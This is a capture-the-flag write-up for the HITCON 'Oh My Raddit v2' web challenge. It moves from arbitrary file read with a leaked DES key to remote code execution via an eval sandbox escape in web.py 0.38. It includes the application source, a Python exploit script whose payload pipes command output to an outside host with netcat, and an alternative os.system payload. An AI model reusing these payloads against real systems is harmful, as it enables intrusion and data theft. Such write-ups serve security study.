Rating: 0

### Oh My Raddit v2

(bookgin, kaibro, qazwsxedcrfvtg14, hortune,
written by bookgin)

We should get shell in order to retrieve the flag in Oh My raddit 2.

#### Arbitrary File Read

Since we have the DES key now, we can first decrypt the ciphertext of the download command:
```
m=d&f=uploads%2F70c97cc1-079f-4d01-8798-f36925ec1fd7.pdf
```

Let's try specifying the path now. Does it work? Yes, it works!
```
m=d&f=app.py
```

Read the following files:

- app.py: source code
- db.db: but nothing interesting in the database
- /proc/self/environ: the full path of app.py is /home/orange/w/app.py
- /proc/self/cmdline: python app.py
- /proc/self/maps: python 2.7
- /flag: Internal Server Error, which means the file exists but cannot be read
- requirements.txt: `pycrypto==2.6.1`, `web.py==0.38` (web.py is outdated)

Here is the source code of `app.py`:

```python
# coding: UTF-8
import os
import web
import urllib
import urlparse
from Crypto.Cipher import DES

web.config.debug = False
ENCRPYTION_KEY = 'megnnaro'

urls = (
'/', 'index'
)
app = web.application(urls, globals())
db = web.database(dbn='sqlite', db='db.db')

def encrypt(s):
length = DES.block_size - (len(s) % DES.block_size)
s = s + chr(length)*length

cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)
return cipher.encrypt(s).encode('hex')

def decrypt(s):
try:
data = s.decode('hex')
cipher = DES.new(ENCRPYTION_KEY, DES.MODE_ECB)

data = cipher.decrypt(data)
data = data[:-ord(data[-1])]
return dict(urlparse.parse_qsl(data))
except Exception as e:
print e.message
return {}

def get_posts(limit=None):
records = []
for i in db.select('posts', limit=limit, order='ups desc'):
tmp = {
'm': 'r',
't': i.title.encode('utf-8', 'ignore'),
'u': i.id,
}
tmp['param'] = encrypt(urllib.urlencode(tmp))
tmp['ups'] = i.ups
if i.file:
tmp['file'] = encrypt(urllib.urlencode({'m': 'd', 'f': i.file}))
else:
tmp['file'] = ''

records.append( tmp )
return records

def get_urls():
urls = []
for i in [10, 100, 1000]:
data = {
'm': 'p',
'l': i
}
urls.append( encrypt(urllib.urlencode(data)) )
return urls

class index:
def GET(self):
s = web.input().get('s')
if not s:
return web.template.frender('templates/index.html')(get_posts(), get_urls())
else:
s = decrypt(s)
method = s.get('m', '')
if method and method not in list('rdp'):
return 'param error'
if method == 'r':
uid = s.get('u')
record = db.select('posts', where='id=$id', vars={'id': uid}).first()
if record:
raise web.seeother(record.url)
else:
return 'not found'
elif method == 'd':
file = s.get('f')
if not os.path.exists(file):
return 'not found'
name = os.path.basename(file)
web.header('Content-Disposition', 'attachment; filename=%s' % name)
web.header('Content-Type', 'application/pdf')
with open(file, 'rb') as fp:
data = fp.read()
return data
elif method == 'p':
limit = s.get('l')
return web.template.frender('templates/index.html')(get_posts(limit), get_urls())
else:
return web.template.frender('templates/index.html')(get_posts(), get_urls())

if __name__ == "__main__":
app.run()
```

#### Browsing source code / issues

First I found [this issue](https://github.com/webpy/webpy/commit/becbfb92d7601ddb0aededfdc9a91696bde2430f#diff-bab5d2282d3362e44ff9cea603fb052f), and it's reported by Orange Tsai, who is the author of the challenge. Gotcha!

This issue is fixed in webpy 0.39, but the server side still use 0.38! Thus it's vulnerable to SQLite injection through `limit` parameter.

@kaibro found [another issue](https://github.com/webpy/webpy/commit/8fa67f40f212fbfe51aa5493fc377c683eff9925). They try to fix `eval` code execution by passing a empty builtin to it.

```python
def reparam(string_, dictionary):
"""
Takes a string and a dictionary and interpolates the string
using values from the dictionary. Returns an `SQLQuery` for the result.
>>> reparam("s = $s", dict(s=True))
<sql: "s = 't'">
>>> reparam("s IN $s", dict(s=[1, 2]))
<sql: 's IN (1, 2)'>
"""
dictionary = dictionary.copy() # eval mucks with it
# disable builtins to avoid risk for remote code exection.
dictionary['__builtins__'] = object()
vals = []
result = []
for live, chunk in _interpolate(string_):
if live:
v = eval(chunk, dictionary)
result.append(sqlquote(v))
else:
result.append(chunk)
return SQLQuery.join(result, '')
```

When `eval` takes the second parameter with builtin in it, the current builtin will be replaced. In the source code the builtins is set to an empty object. In other words, passing builtin is similarly to replace the current namespace.

```python
>>> eval('__builtins__',{'__builtins__': object})
<type 'object'>
>>> dir(eval('__builtins__',{'__builtins__': object}))
['__class__', '__delattr__', '__doc__', '__format__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__']
>>> eval('__builtins__')
<module '__builtin__' (built-in)>
>>> dir(eval('__builtins__'))
['ArithmeticError', ... ,'xrange', 'zip']
```

However, replacing the namespace doesn't prevent us to retrieve other exploitable classes. We just cannot directly use eval, `__import__` ....

First, list all the classes through `[].__class__.__base__.__subclasses__()`:

`db.select('posts', limit="slowpoke ${[].__class__.__base__.__subclasses__()}", order='ups desc')`

```python
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <type 'time.struct_time'>, <type '_thread._localdummy'>, <type 'thread._local'>, <type 'thread.lock'>, <type 'collections.deque'>, <type 'deque_iterator'>, <type 'deque_reverse_iterator'>, <type 'operator.itemgetter'>, <type 'operator.attrgetter'>, <type 'operator.methodcaller'>, <type 'itertools.combinations'>, <type 'itertools.combinations_with_replacement'>, <type 'itertools.cycle'>, <type 'itertools.dropwhile'>, <type 'itertools.takewhile'>, <type 'itertools.islice'>, <type 'itertools.starmap'>, <type 'itertools.imap'>, <type 'itertools.chain'>, <type 'itertools.compress'>, <type 'itertools.ifilter'>, <type 'itertools.ifilterfalse'>, <type 'itertools.count'>, <type 'itertools.izip'>, <type 'itertools.izip_longest'>, <type 'itertools.permutations'>, <type 'itertools.product'>, <type 'itertools.repeat'>, <type 'itertools.groupby'>, <type 'itertools.tee_dataobject'>, <type 'itertools.tee'>, <type 'itertools._grouper'>, <class 'threading._Verbose'>, <type 'select.epoll'>, <type 'Struct'>, <type 'cStringIO.StringO'>, <type 'cStringIO.StringI'>, <class 'subprocess.Popen'>, <type 'datetime.date'>, <type 'datetime.timedelta'>, <type 'datetime.time'>, <type 'datetime.tzinfo'>, <class 'string.Template'>, <class 'string.Formatter'>, <type 'functools.partial'>, <type '_ssl._SSLContext'>, <type '_ssl._SSLSocket'>, <class 'socket._closedsocket'>, <type '_socket.socket'>, <type 'method_descriptor'>, <class 'socket._socketobject'>, <class 'socket._fileobject'>, <class 'urlparse.ResultMixin'>, <class 'contextlib.GeneratorContextManager'>, <class 'contextlib.closing'>, <type '_io._IOBase'>, <type '_io.IncrementalNewlineDecoder'>, <type '_hashlib.HASH'>, <type '_random.Random'>, <type 'cPickle.Unpickler'>, <type 'cPickle.Pickler'>, <class 'web.webapi.OK'>, <class 'web.webapi.Created'>, <class 'web.webapi.Accepted'>, <class 'web.webapi.NoContent'>, <class 'web.db.SQLParam'>, <class 'web.db.SQLQuery'>, <type 'bz2.BZ2File'>, <type 'bz2.BZ2Compressor'>, <type 'bz2.BZ2Decompressor'>, <type 'pwd.struct_passwd'>, <type 'grp.struct_group'>, <class 'web.template.SafeVisitor'>, <class 'web.template.TemplateResult'>, <class 'web.form.Form'>, <class 'web.form.Input'>, <class 'web.session.Session'>, <type 'sqlite3.Row'>, <type 'sqlite3.Cursor'>, <type 'sqlite3.Connection'>, <type 'sqlite3Node'>, <type 'sqlite3.Cache'>, <type 'sqlite3.Statement'>, <type 'sqlite3.PrepareProtocol'>]
```

Take a closer look. There is `<class 'subprocess.Popen'>` class, so it's trivial to RCE now!

My payload:
```python
#!/usr/bin/env python3
import requests
from Crypto.Cipher import DES

def encrypt(s):
raw = s.encode()
pad = 8 - len(raw) % 8
raw += bytes([pad] * pad)
print(raw)
return DES.new('megnnaro').encrypt(raw).hex()

def decrypt(s):
raw = DES.new('megnnaro').decrypt(bytes.fromhex(s))
return raw[:-raw[-1]].decode()
# <class 'subprocess.Popen'>
h = encrypt("m=p&l=${[].__class__.__base__.__subclasses__()[-68]('/read_flag | nc 240.240.240.240 5678',shell=1)}")
print(requests.get('http://13.115.255.46/?s=' + h).text)
```

It's worth to mention @qazwsxedcrfvtg14 's more creative payload. I can't believe that an unbounded method can access `__globals__` in Python 2.7 !

```python
([t for t in ().__class__.__base__.__subclasses__() if t.__name__ == 'Sized'][0].__len__).__globals__['__builtins__']['__import__']('os').system('sleep 10')
```

The flag is `hitcon{Fr0m_SQL_Injecti0n_t0_Shell_1s_C00L!!!}`.